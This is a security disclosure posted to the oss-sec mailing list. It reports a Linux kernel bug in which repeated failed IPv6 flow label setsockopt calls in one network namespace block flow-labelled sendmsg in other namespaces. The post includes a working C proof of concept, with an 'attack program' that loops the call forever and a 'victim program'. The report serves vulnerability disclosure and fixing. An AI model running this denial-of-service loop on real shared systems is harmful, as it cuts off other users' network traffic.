oss-sec mailing list archives

Linux kernel: potential net namespace bug in IPv6 flow label management


From: "Liu, Congyu" <liu3101 () purdue edu>
Date: Sun, 13 Feb 2022 10:31:34 +0000


Hi,

In the test conducted on namespace, I found that one unsuccessful IPv6 flow label 
management from one net ns could stop other net ns's data transmission that requests 
flow label for a short time. Specifically, in our test case, one unsuccessful 
`setsockopt` to get flow label will affect other net ns's `sendmsg` with flow label 
set in cmsg. Simple PoC is included for verification. The behavior descirbed above 
can be reproduced in latest kernel.

I managed to figure out the data flow behind this: when asking to get a flow label, 
some `setsockopt` parameters can trigger function `ipv6_flowlabel_get` to call `fl_create` 
to allocate an exclusive flow label, then call `fl_release` to release it before returning 
-ENOENT. Global variable `ipv6_flowlabel_exclusive`, a rate limit jump label that keeps 
track of number of alive exclusive flow labels, will get increased instantly after calling 
`fl_create`. Due to its rate limit design, `ipv6_flowlabel_exclusive` can only decrease 
sometime later after calling `fl_decrease`. During this period, if data transmission function 
in other net ns (e.g. `udpv6_sendmsg`) calls `fl_lookup`, the false `ipv6_flowlabel_exclusive` 
will invoke the `__fl_lookup`. In the test case observed, this function returns error and 
eventually stops the data transmission.

I further noticed that this bug could somehow be vulnerable: if `setsockopt` is called 
continuously, then `sendmmsg` call from other net ns will be blocked forever. Using the PoC 
provided, if attack and victim programs are running simutaneously, victim program cannot transmit 
data; when running without attack program, the victim program can transmit data normally.

Thanks,
Congyu




Attack Program:

#define _GNU_SOURCE
#include <linux/in6.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <error.h>
#include <errno.h>
#include <sched.h>
#include <stdbool.h>


int main() {
        int fd1, ret, pid;
        unshare(CLONE_NEWNET);
        if ((fd1 = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDPLITE)) < 0)
                error(1, errno, "socket");
        struct in6_flowlabel_req req = {
                .flr_action = IPV6_FL_A_GET,
                .flr_label = 0,
                .flr_flags = 0,
                .flr_share = IPV6_FL_S_USER,
        };
        req.flr_dst.s6_addr[0] = 0xfd;
        req.flr_dst.s6_addr[15] = 0x1;

        while(1) {
                ret = setsockopt(fd1, SOL_IPV6, IPV6_FLOWLABEL_MGR, &req, sizeof(req));
        }

        return 0;
}



Victim program:

#define _GNU_SOURCE
#include <linux/in6.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <error.h>
#include <errno.h>
#include <sched.h>
#include <stdbool.h>

static const char cfg_data[] = "a";

static void do_send(int fd, struct sockaddr_in6 addr, bool with_flowlabel, uint32_t flowlabel)
 {
        char control[CMSG_SPACE(sizeof(flowlabel))] = {0};
        struct msghdr msg = {0};
        struct iovec iov = {0};
        int ret;

        iov.iov_base = (char *)cfg_data;
        iov.iov_len = sizeof(cfg_data);

        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;
        msg.msg_name = &addr;
        msg.msg_namelen = sizeof(addr);

        if (with_flowlabel) {
                struct cmsghdr *cm;

                cm = (void *)control;
                cm->cmsg_len = CMSG_LEN(sizeof(flowlabel));
                cm->cmsg_level = SOL_IPV6;
                cm->cmsg_type = IPV6_FLOWINFO;
                *(uint32_t *)CMSG_DATA(cm) = htonl(flowlabel);

                msg.msg_control = control;
                msg.msg_controllen = sizeof(control);
        }

        ret = sendmsg(fd, &msg, 0);

        fprintf(stderr, "sendmsg ret = %d\n", ret);
}

static void do_recv(int fd, bool with_flowlabel, uint32_t expect)
 {
        char control[CMSG_SPACE(sizeof(expect))];
        char data[sizeof(cfg_data)];
        struct msghdr msg = {0};
        struct iovec iov = {0};
        struct cmsghdr *cm;
        uint32_t flowlabel;
        int ret;

        iov.iov_base = data;
        iov.iov_len = sizeof(data);

        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;


        memset(control, 0, sizeof(control));
        msg.msg_control = control;
        msg.msg_controllen = sizeof(control);

        recvmsg(fd, &msg, 0);
}

int main() {
        int fd1, ret, pid;
        unshare(CLONE_NEWNET);
        pid = fork();
        if (pid == 0) {
                execlp("ip", "ip", "link", "set", "dev", "lo", "up", NULL);
        }
        sleep(1);
        struct sockaddr_in6 src_addr = {
                .sin6_family = AF_INET6,
                .sin6_port = htons(7000),
                .sin6_addr = in6addr_loopback,
                .sin6_flowinfo = htonl(0),
                .sin6_scope_id = 0,
        };
        struct sockaddr_in6 dst_addr = {
                .sin6_family = AF_INET6,
                .sin6_port = htons(8000),
                .sin6_addr = in6addr_loopback,
                .sin6_flowinfo = htonl(0),
                .sin6_scope_id = 0,
        };
        pid = fork();
        int fd2;
        if (pid == 0) {
                if((fd2 = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)) < 0)
                        error(1, errno, "socket");
                if(bind(fd2, (void *)&dst_addr, sizeof(dst_addr)) < 0)
                        error(1, errno, "bind");
                while(1) {
                        do_recv(fd2, true, 123456);
                }
                return 0;
                
        }
        sleep(1);
        if((fd2 = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)) < 0)
                error(1, errno, "socket");
        while(1) {
                do_send(fd2, dst_addr, true, 123456);
                usleep(100000);
        }

        return 0;
}

Current thread: